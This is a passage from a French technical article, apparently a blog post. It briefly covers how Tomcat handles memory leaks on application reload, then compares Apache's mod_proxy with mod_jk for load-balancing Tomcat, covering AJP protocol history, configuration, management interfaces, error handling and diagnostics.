D'après son expérience, les fuites mémoires sont surtout dues à des défauts dans les librairies utilisées. Tomcat affecte un classloader par application, lorsqu'une application est rechargée Tomcat tente d'abord de nettoyer tous les objets liés au classloader avant d'en affecter un nouveau. Si jamais pour une raison ou une autre un objet d'un autre classloader pointe vers celui qu'on veut supprimer, les objets ne peuvent être supprimer. Les API ou applications qui peuvent être responsables de cette situation sont en général :

• JDBC driver registration
• Some logging frameworks
• Storing objects in ThreadLocals and not removing them
• Starting threads and not stopping them

Pour corriger cela, Tomcat lance des méthodes de nettoyage ad hoc pour tous ces types de problème et si jamais ce n'est pas possible, trace précisément la cause du non dé-référencement.

Plus surprenant peut-être, les causes de fuites mémoires sont parfois provoquées par la JRE elle-même. Dans ce cas Tomcat va tenter d'intercepter ces appels directs à la JVM pour pouvoir contrôler par la suite son référencement. On apprend à l'occasion que l'implémentation de java.util.logging dans la JRE n'est pas gérée par un classloader classique et Tomcat doit la surcharger.

Cet interview donne une idée assez claire de ce qui se passe dans Tomcat au moment du chargement d'une application. Les curieux peuvent étudier les classes WebappClassLoader (surtout la méthode clearReferences()) et JreMemoryLeakPreventionListener pour connaitre un peu mieux le fonctionnement interne. Tomcat 7 devrait apporter de nombreuses améliorations qui, bonne nouvelle, ont été aussi backportées sur la version 6.0.24 et donc déjà disponible.

Un peu d'histoire

Tout commence en 1997 avec la création d'Apache JServ. A l'époque, il s'agit d'un serveur de Servlet qui supporte uniquement le protocole AJP créé pour l'occasion. Dans l'architecture initiale, c'est Apache 1.1 qui fournit le serveur web et transfère les requêtes par socket au moteur de Servlet. C'est la naissance du protocole AJP dans sa première version implémentée par le mod_jserv. L'Apache JServ Protocol fonctionne au départ comme un proxy qui redirige le flux vers JServ. Le protocole est en texte clair et utilise un caractère en début de ligne pour distinguer les différents éléments de la requête.

Rapidement, le protocole initial est considéré comme trop limité car il fonctionne uniquement en loopback et possède une authentification pauvre. En 1998, le protocole AJP 1.1 permet à JServ de tourner sur une autre machine que le serveur web et d'assurer une authentification forte basée sur md5. Avec le développement de JServ appparaît un problème de performance important : le coût d'ouverture d'une socket et la vitesse des réseaux. Ils sont considérés à l'époque comme les principaux goulets d'étranglement. Pour résoudre ces problèmes, le protocole passe à la version 1.2 dont vous trouverez le draft initial ici. AJP 1.2 est un protocole binaire orienté paquets qui permet de recycler la ou les sockets connectées à JServ. Le passage au binaire permet aussi d'améliorer les performances car il diminue la taille des données qui transitent et simplifie le traitement.

En 1999, Sun offre son implémentation de référence des Servlets à la fondation Apache. C'est le point de départ des projets Tomcat et Ant. Commence alors une période de transition qui finira par l'abandon d'Apache JServ. Pendant cette transition, AJP sera porté sur Tomcat qui bénéficiera d'emblée d'une facilité d'interconnexion avec Apache. Aux alentours de 2000, le mod_jk est développé pour étendre AJP qui pourra supporter le transport des données SSL. C'est la version 1.3 que l'on retrouve aujourd'hui supportée par les dernières générations de Tomcat. Après toutes ces années de développement, le mod_jk est maintenu par le projet Tomcat Connectors et n'a jamais été intégré aux projets Apache.

La création d'AJP résulte donc de la simplicité et de la rapidité de développement souhaitées par les auteurs. Il fallait aller vite, et implémenter un proxy pleinement compatible HTTP aurait été trop long. Le module mod_proxy existe depuis 1996 dans Apache 1.1. Mais il s'agissait d'une fonctionnalité expérimentale qui n'offrait ni performance ni stabilité. A la sortie d'Apache 2, le proxy a même été dé-scopé car il ne fonctionnait plus du tout. Les développeurs vont pourtant rapidement le corriger et le réintégrer comme solution pour faire des reverse proxies. Pour la sortie d'Apache 2.2, le mod_proxy est entièrement réécrit pour supporter le load-balancing. Il offre, pour la première fois dans Apache, une solution capable de concurrencer le mod_jk en performance et en scalabilité. Cerise sur le gâteau, Apache a décidé de supporter nativement le protocole AJP en ajoutant un mod_proxy_ajp à la solution mod_proxy.

Installation

mod_proxy

Le mod_proxy fait partie de la distribution standard d'Apache HTTPD. Il est livré avec le mod_proxy_http, le mod_proxy_ajp et le mod_proxy_balancer. Il suffit donc de s'assurer que ces modules sont bien chargés au démarrage d'Apache.

mod_jk

Si mod_jk était autrefois très délicat à installer avec la compilation du code sur un serveur similaire au serveur cible, la situation s'est grandement simplifiée. Le projet Apache Tomcat Connector fournit désormais les binaires pour les principales plateformes (Linux, Windows, Free BSD, Mac, Solaris, AIX, etc). Il faut donc télécharger le binaire du module et le copier dans le répertoire contenant les modules Apache.

Configuration

Pour mieux comparer les deux solutions, nous avons choisi de prendre comme exemple l'utilisation d'Apache en front desservant deux Tomcat en load-balancing. Nous ne nous intéresserons ici qu'à la configuration d'Apache HTTPD. La configuration AJP de Tomcat étant déjà largement documentée sur le web et celle via HTTP dans nos articles précédents, nous n'aborderons pas ces problématiques.

mod_proxy_http & mod_proxy_balancer

La configuration du mod_proxy consiste d'abord à s'assurer que les modules soient bien chargés avec les directives LoadModule. Nous activons ensuite le server-status ainsi que le balancer-manager pour obtenir une interface de surveillance / administration du load-balancer. Enfin, nous avons configuré le Proxy balancer nommé my-application-cluster pour contenir nos 2 serveurs Tomcat. La dernière ligne de configuration active le reverse proxy pour que les requêtes sur /my-application soient redirigées vers le /my-application du load-balancer.

Configuration avec mod_proxy_http & mod_proxy_balancer - httpd.conf

Vous pouvez le constater, la configuration est parfaitement intégrée à la configuration standard d'Apache HTTPD. Les équipes de production n'auront à priori pas de grandes difficultés à prendre en main ce type de configuration qui nécessite seulement de savoir parcourir la documentation Apache déjà bien connue des administrateurs.

mod_jk

La première étape consiste à configurer le serveur Apache pour qu'il utilise le mod_jk. Tout commence par le chargement du module avec la directive LoadModule. Ensuite nous fournissons le chemin du deuxième fichier de configuration définissant les workers. La directive JkMount permet ensuite d'associer un worker du mod_jk à un pattern d'url du serveur. Pour chaque requête dont l'URL correspond au pattern, Apache va déléguer le traitement au mod_jk. Nous montons d'abord le worker jkstatus sur /jkmanager en autorisant l'accès uniquement depuis le système local. C'est ensuite au tour du loadbalancer qui servira notre application.

Configuration avec mod_jk - httpd.conf

Il faut maintenant configurer le mod_jk proprement dit dans son fichier de configuration spécifique. Il s'agit d'une liste de propriétés commençant toujours par worker.. La propriété worker.list fournit les noms des workers actifs. Le nom est ensuite utilisé pour paramétrer le worker avec des clés de la forme worker.nomWorker.parametre. Le premier worker activé jkstatus utilise le type spécial status qui correspond à l'interface de suivi et de gestion du mod_jk. Le deuxième worker loadbalancer est en fait chargé de répartir les sessions entre le worker1 et le worker2 via le type lb. Ce sont finalement les workers 1 à n qui assurent le transport des requêtes sur AJP1.3 vers le port 8009 d'un Tomcat distant.
Configuration avec mod_jk - workers.properties

Avec ses deux fichiers de configurations séparés et la syntaxe "rustique" du worker.properties, la configuration est définitivement le point faible du mod_jk. L'un des seuls avantages réside dans le nombre impressionnant de paramètres supportés qui permet un paramétrage fin si le besoin s'en fait sentir. Si seulement nous n'étions pas forcés à tant de verbosité !

Interfaces graphiques

Les deux modules fournissent des interfaces web pour assurer la supervision du load-balancer. Cette fois, le mod_proxy se contente de fournir des statistiques réduites dans une interface minimaliste. L'interface liste principalement le statut de chaque nœud du load-balancer ainsi que la quantité de données envoyée et reçue par nœud.

Outre le suivi des statistiques du load-balancer, le Balancer Manager permet aussi de faire des modifications à chaud, éditer les workers, les passer en offline, voire même changer la méthode de répartition utilisée.

De son côté, le mod_jk prouve sa maturité avec son interface rustique elle aussi, mais plus voire trop complète. Elle est composée de plusieurs pages dont une page d'accueil similaire en tout point à l'interface du mod_proxy. L'avantage réside dans la fourniture d'une page détaillant l'état complet pour chaque nœud.

Mais le mod_jk ne se contente pas de cela : il fournit aussi une page permettant de modifier à chaud la configuration du load-balancer. Il est parfaitement envisageable pour le déploiement en production d'une nouvelle version de l'application de couper les nœuds un à un au moment de leur mise à jour puis de les réactiver sans interruption du service.

Attention toutefois, car les modifications faites par ce biais sont uniquement enregistrées en mémoire, la nouvelle configuration sera perdue au prochain redémarrage d'Apache.

La mince différence vient probablement de la jeunesse de la solution de load-balancing du mod_proxy face à la longue expérience de production du mod_jk. Mais elle ne saurait justifier une préférence pour l'un des deux modules, qui sur ce point sont très proches.

LoadBalancing et gestion d'erreur

Outre la configuration et l'interface graphique, les deux solutions disposent de quelques fonctions avancées notamment en ce qui concerne la gestion d'erreur et la gestion des sockets réseaux. Les deux modules utilisent des pools de connexion rangés par Thread du serveur Apache et par membres du cluster.
Avec le mod_proxy, il est possible de choisir parmi trois algorithmes de répartition de charge :

• Par requête : la charge est répartie pour chaque requête entrante en fonction de la session si elle existe.
• Par trafic réseau : les requêtes sont envoyées vers le membre du cluster ayant reçu le moins de trafic.
• Par taux d'occupation : la charge est répartie en fonction du nombre de requêtes en cours de traitement ou en attente.

En ce qui concerne la gestion d'erreur, il n'y a pas grand chose à dire car il n'y a pas grand chose de fait. Si un timeout claque, un certain nombre de tentatives de reconnexion seront réalisées jusqu'à ce que le noeud soit marqué en erreur et n'en décolle plus.

C'est sur la gestion d'erreur que le mod_jk possède une plus grande sophistication que son récent concurrent.
Tout d'abord le protocole AJP fournit un mécanisme de health check (CPing/CPong) qui permet de tester l'état du lien entre le serveur frontal et un membre du cluster. Cependant, c'est beaucoup plus limité que les heart beat des load balancer hardware, il n'est pas possible de tester une url pour détecter des indisponibilités applicatives (échec de démarrage de la web app, web app KO à cause de l'indisponibilité d'un backend clef).
D'autre part, le module fait une distinction entre les erreurs locales temporaires qui sont sans impact particulier, un code d'erreur HTTP par exemple, et les erreurs globales qui indiquent que le serveur est clairement en erreur et ne recevra plus de nouvelles requêtes. Il existe un système d'escalade qui, en cas de répétition trop fréquente d'erreurs locales sur un noeud se charge de le passer en erreur globale. Le module se charge de réactiver le noeud en mode recovery après un délai paramétré.

Côté répartition de charge, mod_jk apporte un dernier algorithme de répartition reposant sur le nombre de sessions HTTP en cours par serveur. Cette méthode est relativement récente puisqu'elle est apparue dans la version 1.2.20 du mod_jk, actuellement en version 1.2.29. Elle est recommandée pour les applications chargeant fortement la session et de ce fait, supportant un nombre limité de sessions par serveur ; ce cas d'utilisation est assez marginal.
Dans les deux modules, l'algorithme de répartition est pondéré par un facteur nommé "lbfactor", qui permet d'appliquer des quotas de travail aux serveurs. Ce système s'avère utile si les serveurs sont de puissances différentes par exemple.

Le mod_jk marque ici un petit point sur le mod_proxy grâce à sa gestion d'erreur plus fine. Attention aux effets de bord, le retry sur timeout en a surpris plus d'un et l'éviction de serveurs tomcat pour cause de répétition d'erreur est un beau sujet de déni de service

Pour le reste, le mod_proxy colle au fonctionnement du mod_jk, ce qui ne manquera pas de faciliter son utilisation aux habitués du mod_jk.

Exploitation et diagnostic des problèmes

mod_proxy_http présente sur mod_jk le très grand avantage d'utiliser un protocole standard, HTTP, connu de tous les acteurs d'un système d'information alors que mod_jk repose sur le protocole AJP que quasiment personne ne connait. Les administrateurs systèmes et réseaux sont habitués à HTTP et notamment à ses connections persistantes (aka HTTP keepAlive) ; ils savent ajuster leurs algorithmes de load balancing, les timeouts des firewalls et le dimensionnement des piles tcp/ip des serveurs (ulimit, tcp_keepalive_intvl, tcp_tw_bucket, etc).

Un autre atout de mod_proxy est la facilité de diagnostic. N'importe quel acteur du système d'information peut utiliser curl, wget, telnet, elinks voire wireshark pour troubleshooter un problème de communication HTTP; ce n'est pas le cas avec le protocole AJP qui n'est pas human readable et encore moins human writable. Choisir AJP mérite de former les administrateurs systèmes et réseaux et de prévoir des outils de tests permettant de requêter un connecteur AJP mais ce n'est hélas que très rarement fait.

En cas de problème réseau avec HTTP comme avec AJP, n'oubliez pas que désactiver les connections persistantes simplifie grandement les investigations et n'a rien de scandaleux en 2010 (cf HAProxy) ; c'est "disablereuse=On" pour mod_proxy_http et "JkOptions +DisableReuse" pour mod_jk

Conclusion

Avec sa simplicité de configuration, sa répartition de charge calquée sur le mod_jk, le mod_proxy conviendra parfaitement dans la grande majorité des cas. Il s'accommode de clusters répartissant la charge sur plusieurs noeuds ou bien en tant que simple reverse proxy. La cerise sur le gateau étant l'utilisation du protocole HTTP qui permet de garantir la portabilité des services et facilite grandement l'analyse du trafic.

A nos yeux, avec l'intégration native de mod_proxy_http et mod_proxy_balancer à Apache, il n'y a plus de justification à ajouter le module additionnel mod_jk ni d'introduire le protocole méconnu AJP. Les optimisations d'AJP ne sont plus de mise aujourd'hui et ne justifient donc pas l'utilisation d'un mod_jk.

Il reste, dans les deux cas, quelques efforts à faire pour permettre de plus facilement monter des serveurs à chaud dans un cluster. Pour la haute disponibilité sans perte, il faudra mettre en place un cluster Tomcat assurant la réplication des sessions utilisateur entre les serveurs. Encore faut-il en avoir vraiment besoin ...

Attention, la recommandation de Tomcat est encore le mod_jk et, il est important de garder fonctionnel ce qui marche déjà. Donc, quoiqu'il arrive, si vous avez déjà une solution fonctionnelle avec le mod_jk, inutile de migrer. Pour ce qui est de l'interface et de la gestion d'erreur, nous parions sur l'avenir du mod_proxy qui est en développement intensif et bénéficie des corrections de bug de son ainé. Reste un nouveau venu dans le paysage développé par Jboss qui attire déjà notre attention c'est le mod_cluster actuellement, il n'est utilisable qu'avec Jboss AS. L'avantage de cette nouvelle solution en devenir est de suivre le cycle de vie des applications via un protocole spécifique MCMP reposant tout de même sur HTTP.